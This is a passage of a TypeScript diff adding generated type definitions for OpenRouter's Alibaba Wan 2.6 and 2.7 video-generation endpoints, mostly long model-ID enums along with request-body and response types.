'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosAlibabaWan26RequestModelEnumKey = + (typeof openrouterPostVideosAlibabaWan26RequestModelEnum)[keyof typeof openrouterPostVideosAlibabaWan26RequestModelEnum] + +export const openrouterPostVideosAlibabaWan26RequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosAlibabaWan26RequestResolutionEnumKey = + (typeof openrouterPostVideosAlibabaWan26RequestResolutionEnum)[keyof typeof openrouterPostVideosAlibabaWan26RequestResolutionEnum] + +export const openrouterPostVideosAlibabaWan26RequestSizeEnum = { + '1280x720': '1280x720', + '1080x1920': '1080x1920', + '720x1280': '720x1280', + '1920x1080': '1920x1080', +} as const + +export type OpenrouterPostVideosAlibabaWan26RequestSizeEnumKey = + (typeof openrouterPostVideosAlibabaWan26RequestSizeEnum)[keyof typeof openrouterPostVideosAlibabaWan26RequestSizeEnum] + +/** + * @description Alibaba: Wan 2.6 (alibaba/wan-2.6) — model-constrained video generation request. Alibaba's most advanced video generation model, supporting over 10 visual creation capabilities in a unified system. Wan 2.6 generates 1080p video at 24fps from text, images, reference videos, or audio,... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan26Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosAlibabaWan26RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosAlibabaWan26RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosAlibabaWan26RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: negative_prompt, enable_prompt_expansion, shot_type, audio, size. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosAlibabaWan26RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosAlibabaWan26RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosAlibabaWan26Options = { + body: OpenrouterPostVideosAlibabaWan26Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosAlibabaWan26Responses = { + '200': OpenrouterPostVideosAlibabaWan26Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosAlibabaWan26Response = + OpenrouterPostVideosAlibabaWan26Status200 + +export const openrouterPostVideosAlibabaWan27Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosAlibabaWan27Status200StatusEnumKey = + (typeof openrouterPostVideosAlibabaWan27Status200StatusEnum)[keyof typeof openrouterPostVideosAlibabaWan27Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan27Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosAlibabaWan27Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosAlibabaWan27RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type OpenrouterPostVideosAlibabaWan27RequestAspectRatioEnumKey = + (typeof openrouterPostVideosAlibabaWan27RequestAspectRatioEnum)[keyof typeof openrouterPostVideosAlibabaWan27RequestAspectRatioEnum] + +export const openrouterPostVideosAlibabaWan27RequestDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, +} as const + +export type OpenrouterPostVideosAlibabaWan27RequestDurationEnumKey = + (typeof openrouterPostVideosAlibabaWan27RequestDurationEnum)[keyof typeof openrouterPostVideosAlibabaWan27RequestDurationEnum] + +export const openrouterPostVideosAlibabaWan27RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 